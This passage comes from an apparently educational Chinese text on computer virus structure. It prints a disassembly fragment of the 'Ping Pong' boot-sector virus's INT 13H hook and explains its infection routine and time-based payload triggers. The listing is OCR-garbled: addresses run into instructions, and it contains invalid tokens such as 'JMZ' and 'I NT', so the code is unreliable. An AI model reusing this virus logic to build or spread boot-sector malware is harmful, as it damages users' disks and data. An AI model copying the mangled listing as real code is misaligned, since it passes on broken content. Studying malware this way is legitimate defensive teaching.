,01;是否感染状态97C07CDF 7542 JNZ 7D2397C07CE1 80FC02 CMP AH,02;是否读盘操作97C07CE4 753D JMZ 7D2397C07CE6 3816F87D CMP 7DF8 ,DL ;驱动器号是否一致97C07CEA 8816F87D MOV 7DF8 ,DL97C07CEE 7522 JNZ 7D12 ;不是则转7D12H97C07CF0 32E4 XOR AH,AH97C07CF2 CD1A I NT 1A ;读时钟计数值97C07CF4 F6C67F TEST DH,7F97C07CF7 750A JNZ 7D0397C07CF9 F6C2F0 TEST DL ,F0 ;7CE1 7CFEH 为表现模块的判断97C07CFC 7 505 JNZ 7D03 ;部分是否连续两次读同一盘且满足97C07CFE 52 PUSH DX ;整点或半点的时间条件97C07CFF E8B101 CALL 7EB3 ;满足条件,执行表现模块97C07D02 5A POP DX97C07D03 8BCA MOV CX,DX97C07D05 2B16B07E SUB DX, 7EB097C07D09 890EB07E MOV 7EB0 ,CX97C07D0D 83EA24 SUB DX,,+ 2497C07D10 7211 JB 7D2397C07D12 800EF77D01 OR BYTE PTR 7DF7 ,01 ;感染状态标志97C07D17 56 PUSH SI97C07D18 57 PUSH DI97C07D19 E81200 CALL 7D2E ;执行感染模块97C07D1C 5F POP DI97C07D1D 5E POP SI97C07D1E 8026F77DFE AND BYTE PTR 7DF7 ,FE ;清感染状态97C07D23 5A POP DX97C07D24 59 POP CX97C07D25 5B POP BX97C07D26 58 POP AX97C07D27 07 POP ES97C07D28 1F POP DS97C07D29 EA1A0500C8 JMP C800051A ;执行原INT 13H大致过程是:读入目标磁盘的第一扇区,并判断是何种类型磁盘、是否已被小球病毒感染( 病毒标志为1357H),符合条件时进行感染。首先在FAT 表中找出一个未用簇,并将它标为坏簇,然后将病毒程序的第二部分写入该簇第一扇区,把原磁盘的引导记录写入第二扇区,并把病毒程序的第一部分写入被感染目标盘的引导扇区,这就完成了“小球”病毒对一个新磁盘的感染。3.5 病毒的表现(破坏)部分3.5.1 病毒的表现(破坏)模块及表现(破坏)机制表现( 破坏) 模块主要完成病毒的表现或破坏功能,也可称为病毒的载体模块,是计算机病毒的主体模块。它负责实施病毒的表现( 破坏) 动作,其内部是实现病毒编写者预定计算机病毒的结构及作用机制破坏动作的代码,这些破坏动作可能是破坏文件、数据,或计算机的空间效率和时间效率,使系统的运行变慢,干扰视频显示,甚至使机器运行崩溃,这是病毒为了表明自己的存在和达到自己的目的,或早或晚是一定要发作的。它的发作部分应具备两个特征:第一,程序要有一定的隐蔽性及潜伏性,因为病毒的这部分程序是非正常的处理程序,不愿意被人们发现它的存在;第二,病毒发作的条件性和多样性。无论哪一种计算机病毒,都很少在未进行条件判断之前随意发作,通常只有在符合某种条件以后才发作。病毒的触发条件大概有以下5 种: 时间、日期作触发条件; 计数器作触发条件; 键盘字符输入作触发条件; 特定文件出现作触发条件; 综合触发条件,它决定于病毒设计者的意图。计算机病毒的破坏和表现模块一般分为两个部分:一个是破坏模块的触发条件的判断部分;一个是破坏功能的实施部分。触发条件的判断部分时刻监视着计算机系统的运行环境,寻找破坏和表现的时刻;而破坏功能的实施部分经常静止不动,有的病毒甚至要潜伏一年半载,甚至三五年,视触发条件的设计而定,一旦条件满足,实施破坏部分被触发,才突然发作。许多潜伏期长的恶性病毒发作的破坏作用是难以预计的。和病毒的感染模块一样,

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论